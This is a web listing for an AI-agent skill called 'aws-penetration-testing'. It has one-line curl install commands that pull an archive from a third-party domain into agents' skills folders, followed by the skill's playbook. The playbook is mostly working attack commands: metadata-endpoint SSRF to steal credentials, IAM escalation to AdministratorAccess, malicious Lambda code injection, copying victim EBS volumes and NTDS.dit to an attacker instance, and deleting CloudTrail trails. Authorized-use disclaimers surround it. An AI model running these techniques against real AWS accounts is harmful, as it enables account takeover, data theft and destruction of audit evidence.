aws-penetration-testing – DevOps & Infrastructure skill for AI agents
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
Install the aws-penetration-testing skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/aws-penetration-testing-8c5e4.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /aws-penetration-testing – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/aws-penetration-testing-8c5e4.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $aws-penetration-testing – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/aws-penetration-testing-8c5e4.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /aws-penetration-testing – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/aws-penetration-testing-8c5e4.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /aws-penetration-testing – then describe the task you want done.
SKILL.md content
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
AWS Penetration Testing
Purpose
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
Inputs/Prerequisites
- AWS CLI configured with credentials
- Valid AWS credentials (even low-privilege)
- Understanding of AWS IAM model
- Python 3, boto3 library
- Tools: Pacu, Prowler, ScoutSuite, SkyArk
Outputs/Deliverables
- IAM privilege escalation paths
- Extracted credentials and secrets
- Compromised EC2/Lambda/S3 resources
- Persistence mechanisms
- Security audit findings
---
Essential Tools
| Tool | Purpose | Installation |
|------|---------|--------------|
| Pacu | AWS exploitation framework | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Shadow Admin discovery | Import-Module .\SkyArk.ps1 |
| Prowler | Security auditing | pip install prowler |
| ScoutSuite | Multi-cloud auditing | pip install scoutsuite |
| enumerate-iam | Permission enumeration | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM analysis | pip install principalmapper |
---
Core Workflow
Step 1: Initial Enumeration
Identify the compromised identity and permissions:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...Step 2: IAM Enumeration
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
# Resolve DefaultVersionId from get-policy; v1 may not be the effective version.
aws iam get-policy-version --policy-arn POLICY_ARN --version-id DEFAULT_VERSION_ID
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAMEStep 3: Metadata SSRF (EC2)
Exploit SSRF to access metadata endpoint (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}For IMDSv2 (token required):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"Fargate Container Credentials:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH---
Privilege Escalation Techniques
Shadow Admin Permissions
These permissions can enable escalation only when their allowed resources, conditions and effective policies permit the chain. They are not inherently administrator-equivalent:
| Permission | Exploitation |
|------------|--------------|
| iam:CreateAccessKey | Create keys for admin user |
| iam:CreateLoginProfile | Set password for any user |
| iam:AttachUserPolicy | Attach admin policy to self |
| iam:PutUserPolicy | Add inline admin policy |
| iam:AddUserToGroup | Add self to admin group |
| iam:PassRole + ec2:RunInstances | Launch EC2 with admin role |
| lambda:UpdateFunctionCode | Inject code into Lambda |
Create Access Key for Another User
aws iam create-access-key --user-name target_userAttach Admin Policy
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccessAdd Inline Admin Policy
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.jsonLambda Privilege Escalation
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response# Update Lambda code
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip---
S3 Bucket Exploitation
Bucket Discovery
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}Bucket Enumeration
# List buckets (with creds)
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folderPublic Bucket Search
https://buckets.grayhatwarfare.com/---
Lambda Exploitation
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt---
SSM Command Execution
Systems Manager allows command execution on EC2 instances:
# List managed instances
aws ssm describe-instance-information
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"---
EC2 Exploitation
Mount EBS Volume
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolenShadow Copy Attack (Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local---
Console Access from API Keys
Convert CLI credentials to console access:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access---
Logging-control validation in a disposable lab
Preserve audit evidence
# Delete trail
aws cloudtrail delete-trail --name trail_name
# Disable global events
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# Disable specific region
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trailDo not change user agents or disable logging to evade detection. A user agent alone does not establish whether GuardDuty alerts will fire; validate detections with the monitoring owner. The commands above are destructive configuration examples for a separately approved disposable lab, not cleanup steps.
---
Quick Reference
| Task | Command |
|------|---------|
| Get identity | aws sts get-caller-identity |
| L
… (full content is in the download package)
Related skills
- aws-rds – Provision and manage RDS databases. Configure backups, replication, and security. Use…
- aws-s3 – Configure S3 buckets, policies, and lifecycle rules. Implement versioning, replication…
- aws-secrets-manager – Store and rotate secrets in AWS Secrets Manager.
- helm-chart-scaffolding – Design, organize, and manage Helm charts for templating and packaging Kubernetes…
- aws-secrets-rotation – Automate AWS secrets rotation for RDS, API keys, and credentials
- aws-serverless – Specialized skill for building production-ready serverless applications on AWS. Covers…
- aws-serverless-eda – AWS serverless and event-driven architecture expert based on Well-Architected Framework…
- aws-skills – Plan and review AWS architecture and infrastructure changes using the upstream AWS skill…